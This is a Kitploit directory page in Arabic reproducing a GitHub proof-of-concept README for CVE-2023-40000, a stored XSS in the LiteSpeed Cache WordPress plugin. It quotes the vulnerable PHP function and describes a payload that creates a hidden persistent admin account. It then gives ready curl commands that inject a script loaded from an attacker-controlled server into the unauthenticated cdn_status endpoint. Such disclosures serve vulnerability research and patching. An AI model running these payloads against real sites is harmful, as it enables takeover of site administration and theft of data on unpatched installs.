Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/quantiom/litespeed-cache-xss-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubquantiom/litespeed-cache-xss-poc

litespeed-cache-xss-poc

إثبات المفهوم (PoC) لثغرة XSS في إضافة LiteSpeed Cache لووردبريس (CVE-2023-40000) والتي تتيح رفع الصلاحيات. تتضمن كودًا وشروحات وتدابير تخفيف.

عرض المستودع
513منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات اختراق XSS في كاش LiteSpeed

إثبات اختراق (PoC) لثغرة XSS في إضافة LiteSpeed Cache لووردبريس تسمح برفع الصلاحيات. تم إصلاح هذه الثغرة في الإصدار 5.7.0.1 من الإضافة، وتم تخصيص CVE-2023-40000 لها. وفقًا لصفحة العرض المتقدم للإضافة، لا يزال حوالي 35% من المستخدمين يستخدمون إصدارًا ضعيفًا (<5.7.0.1)، وهو ما يصل إلى حوالي 1.8 مليون موقع.

معلومات الثغرة

بسبب نقص تنظيف المدخلات في دالة update_cdn_status، يمكن للمستخدمين (غير المصادق عليهم) إرسال طلب POST مع قيمة _msg مصابة في النموذج (form) يتم تخزينها ثم عرضها في قسم الإدارة في ووردبريس. يمكن أن يسمح هذا لأي شخص بإنشاء حسابات إدارة، أو رفع صلاحياته، أو سرقة معلومات حساسة بمجرد إرسال طلب POST واحد غير مصادق عليه. يمكن العثور على الدالة المعرضة للخطر هنا أو أدناه، ويمكن العثور على دالة Admin_Display::error هنا.

/**
 * Callback for updating Auto CDN Setup status after run
 *
 * @since  4.7
 * @access public
 */
public function update_cdn_status() {

	if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
		self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
		return self::err( 'lack_of_param' );
	}
	if (!$_POST[ 'success' ]) {
		self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
		Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
	} else {
		$this->_process_cdn_status($_POST[ 'result' ]);
	}

	return self::ok();
}

إثبات المفهوم

يحتوي إثبات المفهوم في هذا المستودع على خادم NodeJS Express مصمم لإخفاء وتوصيل حمولة XSS، مع التقاط الإشارات (pings) والبيانات الواردة. يعرض نص الحمولة (payload script) الإجراءات المحتملة للمهاجمين الذين يستغلون هذه الثغرة: فهو ينشئ حساب إدارة باسم مستخدم wp-config-user وكلمة مرور somepassword123. كما أن حمولة XSS، التي تم إخفاؤها أيضًا باسم admin-bar-reloaded.min، تخفي نافذة XSS المنبثقة الأولية عند التحميل، وتخفي تمامًا المستخدم الذي تم إنشاؤه في صفحة users.php للإدارة، وتكرر طلب POST الأولي للحفاظ على XSS مخزنة مستمرة.

التثبيت والاستخدام

  1. قم بتثبيت Node.js و npm إذا لم يكونا مثبتين بالفعل.
  2. انسخ المستودع (clone) وانتقل إلى مجلد المشروع.
  3. شغل الأمر npm install لتثبيت التبعيات.
  4. ابدأ الخادم باستخدام node index.js.

إرسال طلب POST

استخدم أمر cURL التالي لإرسال طلب POST إلى نقطة النهاية الضعيفة:

لينكس:

curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"

ويندوز:

curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"

إخلاء مسؤولية

محتوى هذا المستودع مقدم بدقة لأغراض تعليمية وبحثية فقط. لست مسؤولاً عن أي سوء استخدام أو أنشطة غير قانونية ناتجة عن استخدام هذا الإثبات. بالإضافة إلى ذلك، تم إصدار تحذير على صفحة إضافة LiteSpeed Cache ينصح جميع المستخدمين بتحديث برامجهم بسبب هذه الثغرة المعروفة. يرجى التأكد من تحديث تثبيتاتك إلى الإصدار 5.7.0.1 أو أحدث للتخفيف من هذه المشكلة.

تنزيل الأداة